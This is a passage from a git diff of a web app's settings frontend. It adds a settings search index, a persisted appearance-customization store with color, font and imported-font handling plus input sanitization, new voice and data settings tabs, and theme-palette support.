+    "settings.general.previewSharing.sectionTitle",
+    "settings.general.previewSharing.enableLabel",
+    "settings.general.previewSharing.revokeLabel",
+    "settings.general.rag.sectionTitle",
+    "settings.general.rag.embeddingModel",
+    "settings.general.helperLlm.sectionTitle",
+    "settings.general.helperLlm.preloadOnStartup",
+    "settings.general.uploads.sectionTitle",
+    "settings.general.uploads.maxUploadSize",
+    "settings.general.resetPreferences.sectionTitle",
+    "settings.general.resetPreferences.label",
+  ],
+  profile: [
+    "settings.profile.title",
+    "settings.profile.description",
+    "settings.profile.displayName",
+    "settings.profile.nickname",
+    "settings.profile.avatarShape",
+    "settings.profile.greetingSloth",
+  ],
+  appearance: [
+    "settings.appearance.theme.label",
+    "settings.appearance.palette.label",
+    "settings.appearance.custom.colors.accent",
+    "settings.appearance.custom.colors.background",
+    "settings.appearance.custom.colors.foreground",
+    "settings.appearance.custom.uiFont.label",
+    "settings.appearance.custom.headingFont.label",
+    "settings.appearance.custom.chatFont.label",
+    "settings.appearance.custom.codeFont.label",
+    "settings.appearance.custom.contrast.label",
+    "settings.appearance.custom.pointerCursors.label",
+    "settings.appearance.custom.reduceMotion.label",
+    "settings.appearance.custom.uiFontSize.label",
+    "settings.appearance.custom.codeFontSize.label",
+    "settings.appearance.custom.fontSmoothing.label",
+    "settings.appearance.layout.compactSidebar",
+    "settings.appearance.sidebarMenu.title",
+    "settings.appearance.sidebarMenu.darkModeToggle",
+  ],
+  resources: [
+    "settings.resources.liveMonitor.title",
+    "settings.resources.liveMonitor.cpu",
+    "settings.resources.liveMonitor.ram",
+    "settings.resources.liveMonitor.vram",
+    "settings.resources.liveMonitor.disk",
+    "settings.resources.gpu.title",
+    "settings.resources.storage.title",
+    "settings.resources.storage.modelsFolder",
+    "settings.resources.storage.futureDownloads",
+    "settings.resources.storage.systemDisk",
+    "settings.resources.environment.title",
+    "settings.resources.environment.backend",
+    "settings.resources.environment.python",
+    "settings.resources.environment.torch",
+    "settings.resources.environment.transformers",
+    "settings.resources.liveUpdates",
+  ],
+  chat: [
+    "settings.general.chatDefaults",
+    "settings.general.autoTitleNewChats",
+    "settings.chat.artifacts.title",
+    "settings.chat.artifacts.collapseHtmlBlocks",
+    "settings.chat.artifacts.allowNetworkAccess",
+    "settings.chat.modelDisclaimer",
+  ],
+  // Chat data management moved to the Data tab; keep these rows findable there.
+  data: [
+    "settings.data.fineTuneExport",
+    "settings.data.archivedChats",
+    "settings.data.archiveAllChats",
+    "settings.data.confirmBeforeDeleting",
+    "settings.data.uploadedFiles",
+    "settings.chat.exportHistory",
+    "settings.chat.exportConversations",
+    "settings.chat.importChats",
+    "settings.chat.clearAllChats",
+  ],
+  "api-keys": [
+    "settings.apiKeys.title",
+    "settings.apiKeys.description",
+    "settings.apiKeys.accessTokens",
+  ],
+  connections: [],
+  voice: [
+    "settings.voice.dictation.sectionTitle",
+    "settings.voice.dictation.microphoneLabel",
+    "settings.voice.dictation.languageLabel",
+    "settings.voice.dictionary.sectionTitle",
+    "settings.voice.recents.sectionTitle",
+    "settings.voice.readAloud.sectionTitle",
+    "settings.voice.readAloud.buttonLabel",
+    "settings.voice.readAloud.engineLabel",
+    "settings.voice.readAloud.voiceLabel",
+    "settings.voice.readAloud.speedLabel",
+    "settings.voice.readAloud.pitchLabel",
+    "settings.voice.readAloud.volumeLabel",
+    "settings.voice.readAloud.previewLabel",
+  ],
+  about: [
+    "settings.about.updates",
+    "settings.about.releaseNotes",
+    "settings.about.documentation",
+    "settings.about.help",
+    "settings.about.feedback",
+    "settings.about.hardware",
+    "settings.about.license.sectionTitle",
+    "settings.about.dangerZone",
+    "settings.about.shutDownStudio",
+  ],
+};
diff --git a/studio/frontend/src/features/settings/stores/appearance-custom-store.ts b/studio/frontend/src/features/settings/stores/appearance-custom-store.ts
new file mode 100644
index 0000000000..0e449092e5
--- /dev/null
+++ b/studio/frontend/src/features/settings/stores/appearance-custom-store.ts
@@ -0,0 +1,573 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { createJSONStorage, persist, type StateStorage } from "zustand/middleware";
+import type { ResolvedTheme } from "./theme-store";
+
+// Best-effort persistence: localStorage can be blocked (private browsing) and
+// zustand's persist write path is unguarded, so a throw would break a store
+// action. Swallow storage errors and keep the in-memory state.
+const guardedLocalStorage: StateStorage = {
+  getItem: (name) => {
+    try {
+      return window.localStorage.getItem(name);
+    } catch {
+      return null;
+    }
+  },
+  setItem: (name, value) => {
+    try {
+      window.localStorage.setItem(name, value);
+    } catch {
+      // ignore: the customization stays in memory for this session
+    }
+  },
+  removeItem: (name) => {
+    try {
+      window.localStorage.removeItem(name);
+    } catch {
+      // ignore
+    }
+  },
+};
+
+export type ReduceMotionSetting = "system" | "on" | "off";
+
+export type CustomModeColors = {
+  accent: string | null;
+  background: string | null;
+  foreground: string | null;
+};
+
+export type ImportedFont = {
+  /** Font-family name the FontFace is registered under. */
+  name: string;
+  /** data: URL of the uploaded font file. */
+  dataUrl: string;
+};
+
+/**
+ * Optional entries of the sidebar profile menu. Settings, Help, Log out, and
+ * Shutdown are pinned and never appear here. The settings-tab shortcuts ship
+ * hidden; General and About are covered by the pinned Settings and Help.
+ */
+export const SIDEBAR_MENU_ITEM_IDS = [
+  "api",
+  "darkMode",
+  "guidedTour",
+  "profile",
+  "appearance",
+  "resources",
+  "chat",
+  "connections",
+] as const;
+
+export type SidebarMenuItemId = (typeof SIDEBAR_MENU_ITEM_IDS)[number];
+
+export type SidebarMenuItemPref = {
+  id: SidebarMenuItemId;
+  visible: boolean;
+};
+
+export const SIDEBAR_MENU_DEFAULT_VISIBLE: Record<SidebarMenuItemId, boolean> =
+  {
+    api: true,
+    darkMode: true,
+    guidedTour: true,
+    profile: false,
+    appearance: false,
+    resources: false,
+    chat: false,
+    connections: false,
+  };
+
+export const MAX_IMPORTED_FONTS = 3;
+/** Imported-font family name cap; must match the backend name max_length (100). */
+export const MAX_IMPORTED_FONT_NAME_LENGTH = 100;
+/** ~1.5 MB file → ~2 MB base64; must stay in sync with the backend cap. */
+export const MAX_IMPORTED_FONT_DATA_URL_LENGTH = 2_200_000;
+/**
+ * Aggregate cap across all imported fonts. localStorage quotas are commonly
+ * ~5M UTF-16 units per origin; staying under that keeps the persisted store
+ * writable even with other keys present.
+ */
+export const MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH = 4_400_000;
+
+export type AppearanceCustomization = {
+  colors: { light: CustomModeColors; dark: CustomModeColors };
+  uiFont: string | null;
+  headingFont: string | null;
+  chatFont: string | null;
+  codeFont: string | null;
+  importedFonts: ImportedFont[];
+  /** Root font size in px (rem base). null = browser default (16). */
+  uiFontSize: number | null;
+  /** Code/pre font size in px. null = inherit each element's own size. */
+  codeFontSize: number | null;
+  /** 0–100; 50 is neutral (no adjustment). */
+  contrast: number;
+  pointerCursors: boolean;
+  reduceMotion: ReduceMotionSetting;
+  /** true = the app default (antialiased). */
+  fontSmoothing: boolean;
+  /** Order and visibility of the optional sidebar profile menu items. */
+  sidebarMenu: SidebarMenuItemPref[];
+};
+
+const EMPTY_MODE_COLORS: CustomModeColors = {
+  accent: null,
+  background: null,
+  foreground: null,
+};
+
+export const DEFAULT_CUSTOMIZATION: AppearanceCustomization = {
+  colors: { light: { ...EMPTY_MODE_COLORS }, dark: { ...EMPTY_MODE_COLORS } },
+  uiFont: null,
+  headingFont: null,
+  chatFont: null,
+  codeFont: null,
+  importedFonts: [],
+  uiFontSize: null,
+  codeFontSize: null,
+  contrast: 50,
+  pointerCursors: false,
+  reduceMotion: "system",
+  fontSmoothing: true,
+  sidebarMenu: SIDEBAR_MENU_ITEM_IDS.map((id) => ({
+    id,
+    visible: SIDEBAR_MENU_DEFAULT_VISIBLE[id],
+  })),
+};
+
+export const UI_FONT_SIZE_RANGE = { min: 12, max: 20, default: 16 } as const;
+export const CODE_FONT_SIZE_RANGE = { min: 10, max: 20, default: 13 } as const;
+
+const HEX_COLOR_PATTERN = /^#[0-9a-fA-F]{6}$/;
+
+export function isHexColor(value: unknown): value is string {
+  return typeof value === "string" && HEX_COLOR_PATTERN.test(value);
+}
+
+function sanitizeColor(value: unknown): string | null {
+  return isHexColor(value) ? value.toLowerCase() : null;
+}
+
+function sanitizeFont(value: unknown): string | null {
+  if (typeof value !== "string") return null;
+  // Strip the same characters the backend rejects (_FONT_NAME_FORBIDDEN plus
+  // control chars) so a locally chosen name never fails the personalization PUT
+  // and stalls sync; also stops smuggling CSS through the inline setProperty.
+  const cleaned = value
+    .replace(/[;{}()<>"'\\/,`]/g, "")
+    .replace(/\p{Cc}/gu, "")
+    .trim()
+    .slice(0, 200);
+  return cleaned.length > 0 ? cleaned : null;
+}
+
+function sanitizeSize(
+  value: unknown,
+  range: { min: number; max: number },
+): number | null {
+  if (typeof value !== "number" || !Number.isFinite(value)) return null;
+  const rounded = Math.round(value);
+  if (rounded < range.min || rounded > range.max) {
+    return Math.min(range.max, Math.max(range.min, rounded));
+  }
+  return rounded;
+}
+
+function sanitizeModeColors(value: unknown): CustomModeColors {
+  const source = (value ?? {}) as Partial<CustomModeColors>;
+  return {
+    accent: sanitizeColor(source.accent),
+    background: sanitizeColor(source.background),
+    foreground: sanitizeColor(source.foreground),
+  };
+}
+
+const FONT_DATA_URL_PATTERN =
+  /^data:(?:font\/(?:woff2?|ttf|otf|sfnt)|application\/(?:octet-stream|x-font-\w+|font-\w+));base64,[A-Za-z0-9+/=]+$/;
+
+function sanitizeImportedFonts(value: unknown): ImportedFont[] {
+  if (!Array.isArray(value)) return [];
+  const fonts: ImportedFont[] = [];
+  const seen = new Set<string>();
+  let total = 0;
+  for (const entry of value) {
+    if (fonts.length >= MAX_IMPORTED_FONTS) break;
+    const source = (entry ?? {}) as Partial<ImportedFont>;
+    // Cap to the backend name length so an over-long name can't fail the PUT.
+    const rawName = sanitizeFont(source.name);
+    const name = rawName ? rawName.slice(0, MAX_IMPORTED_FONT_NAME_LENGTH) : null;
+    if (!name || seen.has(name)) continue;
+    const dataUrl = source.dataUrl;
+    if (
+      typeof dataUrl !== "string" ||
+      dataUrl.length > MAX_IMPORTED_FONT_DATA_URL_LENGTH ||
+      total + dataUrl.length > MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH ||
+      !FONT_DATA_URL_PATTERN.test(dataUrl)
+    ) {
+      continue;
+    }
+    seen.add(name);
+    total += dataUrl.length;
+    fonts.push({ name, dataUrl });
+  }
+  return fonts;
+}
+
+function isSidebarMenuItemId(value: unknown): value is SidebarMenuItemId {
+  return SIDEBAR_MENU_ITEM_IDS.includes(value as SidebarMenuItemId);
+}
+
+function sanitizeSidebarMenu(value: unknown): SidebarMenuItemPref[] {
+  const items: SidebarMenuItemPref[] = [];
+  const seen = new Set<SidebarMenuItemId>();
+  for (const entry of Array.isArray(value) ? value : []) {
+    const source = (entry ?? {}) as Partial<SidebarMenuItemPref>;
+    if (!isSidebarMenuItemId(source.id) || seen.has(source.id)) continue;
+    seen.add(source.id);
+    items.push({ id: source.id, visible: source.visible !== false });
+  }
+  // Ids added after the payload was written land at the end with their
+  // default visibility.
+  for (const id of SIDEBAR_MENU_ITEM_IDS) {
+    if (!seen.has(id))
+      items.push({ id, visible: SIDEBAR_MENU_DEFAULT_VISIBLE[id] });
+  }
+  return items;
+}
+
+/**
+ * Coerce arbitrary (persisted/remote) data into a valid customization object.
+ * Anything malformed falls back to the default for that field, so a bad
+ * payload can never wedge the UI.
+ */
+export function sanitizeCustomization(value: unknown): AppearanceCustomization {
+  const source = (value ?? {}) as Partial<AppearanceCustomization> & {
+    colors?: { light?: unknown; dark?: unknown };
+  };
+  const contrast =
+    typeof source.contrast === "number" && Number.isFinite(source.contrast)
+      ? Math.min(100, Math.max(0, Math.round(source.contrast)))
+      : DEFAULT_CUSTOMIZATION.contrast;
+  return {
+    colors: {
+      light: sanitizeModeColors(source.colors?.light),
+      dark: sanitizeModeColors(source.colors?.dark),
+    },
+    uiFont: sanitizeFont(source.uiFont),
+    headingFont: sanitizeFont(source.headingFont),
+    chatFont: sanitizeFont(source.chatFont),
+    codeFont: sanitizeFont(source.codeFont),
+    importedFonts: sanitizeImportedFonts(source.importedFonts),
+    uiFontSize: sanitizeSize(source.uiFontSize, UI_FONT_SIZE_RANGE),
+    codeFontSize: sanitizeSize(source.codeFontSize, CODE_FONT_SIZE_RANGE),
+    contrast,
+    pointerCursors: source.pointerCursors === true,
+    reduceMotion:
+      source.reduceMotion === "on" || source.reduceMotion === "off"
+        ? source.reduceMotion
+        : "system",
+    fontSmoothing: source.fontSmoothing !== false,
+    sidebarMenu: sanitizeSidebarMenu(source.sidebarMenu),
+  };
+}
+
+export function isDefaultCustomization(c: AppearanceCustomization): boolean {
+  return JSON.stringify(c) === JSON.stringify(DEFAULT_CUSTOMIZATION);
+}
+
+interface AppearanceCustomState {
+  customization: AppearanceCustomization;
+  setColor: (
+    mode: ResolvedTheme,
+    key: keyof CustomModeColors,
+    value: string | null,
+  ) => void;
+  patch: (partial: Partial<AppearanceCustomization>) => void;
+  addImportedFont: (font: ImportedFont) => void;
+  removeImportedFont: (name: string) => void;
+  replaceAll: (next: AppearanceCustomization) => void;
+  resetAll: () => void;
+}
+
+export const useAppearanceCustomStore = create<AppearanceCustomState>()(
+  persist(
+    (set) => ({
+      customization: DEFAULT_CUSTOMIZATION,
+      setColor: (mode, key, value) =>
+        set((state) => ({
+          customization: {
+            ...state.customization,
+            colors: {
+              ...state.customization.colors,
+              [mode]: {
+                ...state.customization.colors[mode],
+                [key]: sanitizeColor(value),
+              },
+            },
+          },
+        })),
+      patch: (partial) =>
+        set((state) => ({
+          customization: sanitizeCustomization({
+            ...state.customization,
+            ...partial,
+          }),
+        })),
+      addImportedFont: (font) =>
+        set((state) => ({
+          customization: sanitizeCustomization({
+            ...state.customization,
+            importedFonts: [
+              ...state.customization.importedFonts.filter(
+                (f) => f.name !== font.name,
+              ),
+              font,
+            ],
+          }),
+        })),
+      removeImportedFont: (name) =>
+        set((state) => {
+          const c = state.customization;
+          return {
+            customization: sanitizeCustomization({
+              ...c,
+              importedFonts: c.importedFonts.filter((f) => f.name !== name),
+              // Fall back to the default font wherever the removed one was in use.
+              uiFont: c.uiFont === name ? null : c.uiFont,
+              headingFont: c.headingFont === name ? null : c.headingFont,
+              chatFont: c.chatFont === name ? null : c.chatFont,
+              codeFont: c.codeFont === name ? null : c.codeFont,
+            }),
+          };
+        }),
+      replaceAll: (next) => set({ customization: sanitizeCustomization(next) }),
+      resetAll: () => set({ customization: DEFAULT_CUSTOMIZATION }),
+    }),
+    {
+      name: "unsloth_appearance_customization",
+      version: 2,
+      storage: createJSONStorage(() => guardedLocalStorage),
+      migrate: (persisted) => {
+        const state = (persisted ?? {}) as Partial<AppearanceCustomState>;
+        return {
+          customization: sanitizeCustomization(state.customization),
+        } as AppearanceCustomState;
+      },
+      // Sanitize on EVERY rehydrate, not just version bumps: a same-version
+      // payload written by an older bundle (e.g. before importedFonts existed)
+      // would otherwise reach the app with missing fields and crash .map calls.
+      merge: (persisted, current) => ({
+        ...current,
+        customization: sanitizeCustomization(
+          (persisted as Partial<AppearanceCustomState> | undefined)
+            ?.customization,
+        ),
+      }),
+    },
+  ),
+);
+
+/* ------------------------------ DOM applier ------------------------------ */
+
+const DEFAULT_SANS_STACK =
+  '"Inter Variable", ui-sans-serif, sans-serif, system-ui';
+const DEFAULT_HEADING_STACK =
+  '"Hellix", "Space Grotesk Variable", var(--font-sans)';
+const DEFAULT_MONO_STACK = "JetBrains Mono, monospace";
+
+/** WCAG-ish relative luminance from a #rrggbb hex. */
+function hexLuminance(hex: string): number {
+  const channel = (i: number) => {
+    const c = Number.parseInt(hex.slice(i, i + 2), 16) / 255;
+    return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
+  };
+  return 0.2126 * channel(1) + 0.7152 * channel(3) + 0.0722 * channel(5);
+}
+
+function readableForeground(hex: string): string {
+  return hexLuminance(hex) > 0.45 ? "#111417" : "#ffffff";
+}
+
+/**
+ * FontFaces registered for imported fonts, keyed by family name. The dataUrl is
+ * tracked too so a re-import under the same name (new bytes) replaces the face.
+ */
+const registeredFontFaces = new Map<string, { face: FontFace; dataUrl: string }>();
+
+function syncImportedFonts(fonts: ImportedFont[]): void {
+  if (typeof document === "undefined" || !("fonts" in document)) return;
+  // Never trust the shape at this boundary: a stale
+  // persisted payload without importedFonts must not crash the applier.
+  const wanted = new Map(
+    (Array.isArray(fonts) ? fonts : []).map((f) => [f.name, f.dataUrl]),
+  );
+  // Drop faces whose name is gone OR whose bytes changed: document.fonts is a
+  // set of FontFace objects, not keyed by family, so a stale face must be
+  // deleted before the new bytes are added.
+  for (const [name, entry] of registeredFontFaces) {
+    if (wanted.get(name) !== entry.dataUrl) {
+      document.fonts.delete(entry.face);
+      registeredFontFaces.delete(name);
+    }
+  }
+  for (const [name, dataUrl] of wanted) {
+    if (registeredFontFaces.has(name)) continue;
+    try {
+      const face = new FontFace(name, `url(${dataUrl})`);
+      registeredFontFaces.set(name, { face, dataUrl });
+      document.fonts.add(face);
+      face.load().catch(() => {
+        document.fonts.delete(face);
+        // Only drop the entry if it still points at THIS face; a same-name
+        // re-import may have replaced it while this load was pending.
+        if (registeredFontFaces.get(name)?.face === face) {
+          registeredFontFaces.delete(name);
+        }
+      });
+    } catch {
+      registeredFontFaces.delete(name);
+    }
+  }
+}
+
+/**
+ * The custom "Accent" recolors the accent family (toggles, badges, chart-1).
+ * Focus/selection rings and button colors (--primary) are deliberately left
+ * alone: highlight borders stay neutral and Classic's buttons stay neutral.
+ */
+const ACCENT_VARS = ["--control-accent", "--chart-1"] as const;
+const ACCENT_FG_VARS = ["--control-accent-foreground"] as const;
+
+/**
+ * Push the customization onto <html> as inline CSS variables, attributes, and
+ * classes. Everything is keyed off explicit hooks (inline vars beat every
+ * palette block; the classes/attributes gate rules in index.css), so the
+ * default customization leaves the document byte-identical to stock.
+ */
+export function applyCustomizationToDocument(
+  c: AppearanceCustomization,
+  resolved: ResolvedTheme,
+): void {
+  if (typeof document === "undefined") return;
+  const el = document.documentElement;
+  const style = el.style;
+
+  const setVar = (name: string, value: string | null) => {
+    if (value === null) style.removeProperty(name);
+    else style.setProperty(name, value);
+  };
+
+  const colors = c.colors[resolved];
+
+  for (const name of ACCENT_VARS) setVar(name, colors.accent);
+  for (const name of ACCENT_FG_VARS) {
+    setVar(name, colors.accent ? readableForeground(colors.accent) : null);
+  }
+  setVar("--background", colors.background);
+  setVar("--foreground", colors.foreground);
+
+  syncImportedFonts(c.importedFonts);
+
+  // Family names are single identifiers picked from the dropdown (sanitizeFont
+  // strips quote characters), so quoting here is always safe.
+  setVar(
+    "--font-sans",
+    c.uiFont ? `"${c.uiFont}", ${DEFAULT_SANS_STACK}` : null,
+  );
+  // Custom interface fonts cascade into chat and opt out of its Inter tuning.
+  el.toggleAttribute("data-ui-font", Boolean(c.uiFont));
+  setVar(
+    "--font-heading",
+    c.headingFont ? `"${c.headingFont}", ${DEFAULT_HEADING_STACK}` : null,
+  );
+  // Only set while a heading font is chosen, so elements pinned to their
+  // own default (the chat greeting) can still follow the user's pick.
+  setVar(
+    "--custom-heading-font",
+    c.headingFont ? `"${c.headingFont}", ${DEFAULT_HEADING_STACK}` : null,
+  );
+  setVar(
+    "--font-mono",
+    c.codeFont ? `"${c.codeFont}", ${DEFAULT_MONO_STACK}` : null,
+  );
+  // Chat code fences/inline code default to Fira Code (index.css), not
+  // --font-mono; route a dedicated token so the Code font reaches them too.
+  setVar(
+    "--custom-code-font",
+    c.codeFont ? `"${c.codeFont}", "Fira Code", ui-monospace, monospace` : null,
+  );
+
+  if (c.chatFont) {
+    el.setAttribute("data-chat-font", "");
+    setVar("--custom-chat-font", `"${c.chatFont}", ${DEFAULT_SANS_STACK}`);
+  } else {
+    el.removeAttribute("data-chat-font");
+    setVar("--custom-chat-font", null);
+  }
+
+  // The UI font size drives a typography scale factor, never the root font
+  // size: rem-based layout geometry must not move with the preference. The
+  // scale reaches text through the --text-* / --text-ui-* / --leading-*
+  // tokens in index.css.
+  if (c.uiFontSize !== null && c.uiFontSize !== UI_FONT_SIZE_RANGE.default) {
+    setVar("--ui-font-scale", String(c.uiFontSize / UI_FONT_SIZE_RANGE.default));
+    el.setAttribute("data-ui-font-size", String(c.uiFontSize));
+  } else {
+    setVar("--ui-font-scale", null);
+    el.removeAttribute("data-ui-font-size");
+  }
+  // Older builds scaled the root font size directly; clear any stale inline
+  // value so layout never scales with the preference again.
+  style.removeProperty("font-size");
+
+  if (c.codeFontSize !== null) {
+    el.setAttribute("data-code-font-size", "");
+    setVar("--custom-code-font-size", `${c.codeFontSize}px`);
+  } else {
+    el.removeAttribute("data-code-font-size");
+    setVar("--custom-code-font-size", null);
+  }
+
+  if (c.contrast !== 50) {
+    // Map |contrast - 50| ∈ (0, 50] onto a 0–40% color-mix toward the
+    // foreground (higher contrast) or background (lower contrast).
+    const mix = Math.round(Math.abs(c.contrast - 50) * 0.8);
+    el.setAttribute("data-contrast-adjust", "");
+    setVar("--contrast-mix", `${mix}%`);
+    setVar(
+      "--contrast-target",
+      c.contrast > 50 ? "var(--foreground)" : "var(--background)",
+    );
+  } else {
+    el.removeAttribute("data-contrast-adjust");
+    setVar("--contrast-mix", null);
+    setVar("--contrast-target", null);
+  }
+
+  el.classList.toggle("pointer-cursors", c.pointerCursors);
+  el.classList.toggle("force-reduced-motion", c.reduceMotion === "on");
+  // "off" opts out of the OS reduced-motion preference for CSS animations;
+  // the media rules in index.css skip html.force-motion.
+  el.classList.toggle("force-motion", c.reduceMotion === "off");
+  el.classList.toggle("no-font-smoothing", !c.fontSmoothing);
+}
+
+/**
+ * Resolved reduce-motion decision: the in-app setting wins ("on"/"off"),
+ * otherwise fall back to the OS preference. For imperative motion
+ * (canvas-confetti, view transitions) that CSS/MotionConfig cannot reach.
+ */
+export function prefersReducedMotion(): boolean {
+  const setting = useAppearanceCustomStore.getState().customization.reduceMotion;
+  if (setting === "on") return true;
+  if (setting === "off") return false;
+  return (
+    typeof window !== "undefined" &&
+    window.matchMedia?.("(prefers-reduced-motion: reduce)").matches === true
+  );
+}
diff --git a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
index 234e92b3d0..51908a5ad0 100644
--- a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
+++ b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
@@ -9,7 +9,9 @@ export type SettingsTab =
   | "appearance"
   | "resources"
   | "chat"
+  | "voice"
   | "connections"
+  | "data"
   | "api-keys"
   | "about";
 
@@ -29,7 +31,7 @@ interface SettingsDialogState {
   // explicitly via onCloseAutoFocus.
   opener: HTMLElement | null;
   // Set when something asks to jump straight to the archived chats list (the
-  // archive toast). ChatTab consumes it to open the dialog, then clears it.
+  // archive toast). DataTab uses it as its initial subpage, then clears it.
   archivedChatsRequested: boolean;
   openDialog: (tab?: SettingsTab, options?: OpenDialogOptions) => void;
   openArchivedChats: () => void;
@@ -63,7 +65,9 @@ function loadInitialTab(): SettingsTab {
     "appearance",
     "resources",
     "chat",
+    "voice",
     "connections",
+    "data",
     "api-keys",
     "about",
   ];
@@ -88,7 +92,7 @@ export const useSettingsDialogStore = create<SettingsDialogState>((set) => ({
   openArchivedChats: () =>
     set({
       open: true,
-      activeTab: "chat",
+      activeTab: "data",
       scrollTarget: null,
       archivedChatsRequested: true,
       opener: captureOpener(),
diff --git a/studio/frontend/src/features/settings/stores/theme-store.ts b/studio/frontend/src/features/settings/stores/theme-store.ts
index 6a1275fb6f..603467969f 100644
--- a/studio/frontend/src/features/settings/stores/theme-store.ts
+++ b/studio/frontend/src/features/settings/stores/theme-store.ts
@@ -5,8 +5,30 @@ import { useSyncExternalStore } from "react";
 
 export type Theme = "light" | "dark" | "system";
 export type ResolvedTheme = "light" | "dark";
+export type Palette = "standard" | "classic" | "minimal";
 
 const STORAGE_KEY = "theme";
+const PALETTE_STORAGE_KEY = "palette";
+
+export const PALETTES: readonly Palette[] = ["standard", "classic", "minimal"];
+
+export function isPalette(value: unknown): value is Palette {
+  return value === "standard" || value === "classic" || value === "minimal";
+}
+
+// Persist a re-derived literal from a fixed allow-list rather than the argument,
+// so a value arriving via the authenticated personalization sync is not tracked
+// as sensitive data flowing into storage (these are plain UI preferences).
+const STORED_THEME: Record<Theme, Theme> = {
+  light: "light",
+  dark: "dark",
+  system: "system",
+};
+const STORED_PALETTE: Record<Palette, Palette> = {
+  standard: "standard",
+  classic: "classic",
+  minimal: "minimal",
+};
 
 function readStoredTheme(): Theme {
   if (typeof window === "undefined") return "system";
@@ -16,10 +38,29 @@ function readStoredTheme(): Theme {
   } catch {
     return "system";
   }
-  if (stored === "light" || stored === "dark" || stored === "system") return stored;
+  if (stored === "light" || stored === "dark" || stored === "system")
+    return stored;
   return "system";
 }
 
+function readStoredPalette(): Palette {
+  if (typeof window === "undefined") return "standard";
+  let stored: string | null = null;
+  try {
+    stored = window.localStorage.getItem(PALETTE_STORAGE_KEY);
+  } catch {
+    return "standard";
+  }
+  return isPalette(stored) ? stored : "standard";
+}
+
+// In-memory source of truth so a selected value survives even when
+// localStorage is blocked (private browsing). Without it the snapshots would
+// re-read empty storage and revert React state to the default while the DOM
+// already changed.
+let currentTheme: Theme = readStoredTheme();
+let currentPalette: Palette = readStoredPalette();
+
 function systemPrefersDark(): boolean {
   if (typeof window === "undefined") return false;
   return window.matchMedia("(prefers-color-scheme: dark)").matches;
@@ -32,11 +73,23 @@ function resolveTheme(theme: Theme): ResolvedTheme {
 
 function applyToDocument(resolved: ResolvedTheme) {
   if (typeof document === "undefined") return;
-  // Keep "dark"/"light" mutually exclusive: next-themes (via Sonner) adds
-  // "light" on first mount, so without this toggle we'd get "light dark".
-  const cl = document.documentElement.classList;
-  cl.toggle("dark", resolved === "dark");
-  cl.toggle("light", resolved === "light");
+  const el = document.documentElement;
+  el.classList.toggle("dark", resolved === "dark");
+  el.classList.toggle("light", resolved === "light");
+  // Native controls (scrollbars, spinners, pickers) follow the app mode.
+  el.style.colorScheme = resolved;
+}
+
+function applyPaletteToDocument(palette: Palette) {
+  if (typeof document === "undefined") return;
+  const el = document.documentElement;
+  // Standard is the base :root/.dark palette; no attribute keeps the DOM
+  // (and CSS selectors) simple for the default look.
+  if (palette === "standard") {
+    el.removeAttribute("data-palette");
+  } else {
+    el.setAttribute("data-palette", palette);
+  }
 }
 
 const listeners = new Set<() => void>();
@@ -46,36 +99,58 @@ function subscribe(cb: () => void) {
     return () => listeners.delete(cb);
   }
   const mq = window.matchMedia("(prefers-color-scheme: dark)");
-  const syncTheme = () => {
-    applyToDocument(resolveTheme(readStoredTheme()));
+  // OS scheme flip: only the resolved value changes; keep the in-memory choice
+  // (re-reading storage here would clobber it when storage is blocked).
+  const onSchemeChange = () => {
+    applyToDocument(resolveTheme(currentTheme));
     cb();
   };
-  // Apply on mount so this store is the single source of truth for the DOM
-  // class. Without this, initial paint depends solely on next-themes, which on
-  // a fresh origin (e.g. a new Cloudflare --secure link with empty
-  // localStorage) falls back to its own default and shows light while the
-  // control still reads "system".
-  applyToDocument(resolveTheme(readStoredTheme()));
+  // Another tab wrote storage (only fires when storage is available): adopt it.
   const onStorage = (e: StorageEvent) => {
-    if (e.key === STORAGE_KEY || e.key === null) syncTheme();
+    if (
+      e.key === STORAGE_KEY ||
+      e.key === PALETTE_STORAGE_KEY ||
+      e.key === null
+    ) {
+      currentTheme = readStoredTheme();
+      currentPalette = readStoredPalette();
+      applyToDocument(resolveTheme(currentTheme));
+      applyPaletteToDocument(currentPalette);
+      cb();
+    }
   };
-  mq.addEventListener("change", syncTheme);
+  // Apply on mount so this store is the single source of truth for the DOM
+  // class after the index.html bootstrap script painted the first frame.
+  applyToDocument(resolveTheme(currentTheme));
+  applyPaletteToDocument(currentPalette);
+  mq.addEventListener("change", onSchemeChange);
   window.addEventListener("storage", onStorage);
   return () => {
     listeners.delete(cb);
-    mq.removeEventListener("change", syncTheme);
+    mq.removeEventListener("change", onSchemeChange);
     window.removeEventListener("storage", onStorage);
   };
 }
 
 function getSnapshot(): Theme {
-  return readStoredTheme();
+  return currentTheme;
 }
 
 function getServerSnapshot(): Theme {
   return "system";
 }
 
+// Snapshot the RESOLVED mode too: under "system" the theme string never
+// changes when the OS scheme flips, so consumers keyed on `resolved`
+// (customization applier, mode-scoped settings) would not re-render.
+function getResolvedSnapshot(): ResolvedTheme {
+  return resolveTheme(currentTheme);
+}
+
+function getResolvedServerSnapshot(): ResolvedTheme {
+  return "light";
+}
+
 /**
  * Single source of truth for setting the theme. All writers (Settings dialog
  * control, sidebar dropdown toggler) route through this so the DOM class,
@@ -83,10 +158,10 @@ function getServerSnapshot(): Theme {
  */
 export function setTheme(next: Theme): void {
   if (typeof window === "undefined") return;
-  // Persist "system" explicitly so next-themes doesn't clobber the choice on
-  // reload.
+  currentTheme = next;
+  // Persist "system" explicitly so a reload keeps following the OS.
   try {
-    window.localStorage.setItem(STORAGE_KEY, next);
+    window.localStorage.setItem(STORAGE_KEY, STORED_THEME[next]);
   } catch {
     // ignore storage failures
   }
@@ -100,6 +175,47 @@ export function useTheme(): {
   setTheme: (next: Theme) => void;
 } {
   const theme = useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
-  const resolved = resolveTheme(theme);
+  const resolved = useSyncExternalStore(
+    subscribe,
+    getResolvedSnapshot,
+    getResolvedServerSnapshot,
+  );
   return { theme, resolved, setTheme };
 }
+
+function getPaletteSnapshot(): Palette {
+  return currentPalette;
